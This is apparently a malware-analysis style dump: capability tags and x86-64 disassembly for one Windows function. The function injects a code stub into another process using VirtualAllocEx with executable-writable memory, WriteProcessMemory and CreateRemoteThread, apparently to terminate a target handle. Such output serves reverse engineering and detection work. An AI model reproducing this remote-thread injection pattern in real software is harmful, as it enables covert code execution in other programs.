Function at 0x180001fa8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180040040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rbx, rdx
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rbp, rcx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1800021c6
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rsi, [0x1800413d0]
mov qword [rsp + 0x50], rax
lea rdx, str.TarHandle_0x
mov eax, dword [0x180042a38]
mov rcx, rsi
mov dword [rsp + 0x48], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x4c], edi
mov qword [rsp + 0x40], rbx
call fcn.180005300
mov r8, rax
mov r15d, 0xfffff9ff
mov rdx, rbx
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
mov eax, dword [rcx + r8 + 0x18]
and eax, r15d
bts eax, 0xb
mov dword [rcx + r8 + 0x18], eax
mov rcx, r8
call fcn.1800031d0
mov rcx, rax
call fcn.180005554
lea r9d, [rdi + 0x20]
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x40]
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002184
lea r9, [0x180001fa4]
mov qword [rsp + 0x20], rdi
lea r8, [0x180001f78]
mov rcx, rbp
sub r9d, r8d
lea rdx, [r14 + 0x20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002184
mov qword [rsp + 0x30], rdi
lea r9, [r14 + 0x20]
mov dword [rsp + 0x28], edi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1800020f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateRemoteThread_
jmp 0x180002191
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, str.injected
mov rcx, rsi
call fcn.180005300
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
mov eax, dword [rcx + rbx + 0x18]
and eax, 0xfffff3ff
bts eax, 9
mov dword [rcx + rbx + 0x18], eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
mov rcx, rbx
call fcn.180003390
mov rcx, rax
lea rdx, str._AT:
call fcn.180005300
mov rbx, rax
mov dil, 1
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
mov eax, dword [rcx + rbx + 0x18]
and eax, r15d
bts eax, 0xb
mov dword [rcx + rbx + 0x18], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
mov rcx, rbx
mov r15d, eax
call fcn.1800031d0
mov rsi, rax
lea rdx, str._Status
jmp 0x180002194
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.WriteProcessMemory_
mov r15d, eax
mov rcx, rsi
call fcn.180005300
mov rcx, rax
mov edx, r15d
call fcn.180003390
mov rcx, rax
call fcn.180005554
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1800021f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.VirtualAllocEx_
mov ebx, eax
lea rcx, [0x1800413d0]
call fcn.180005300
mov rcx, rax
mov edx, ebx
call fcn.180003390
mov rcx, rax
call fcn.180005554
mov al, dil
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.180009a00
mov rbx, qword [rsp + 0xb0]
add rsp, 0x70
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret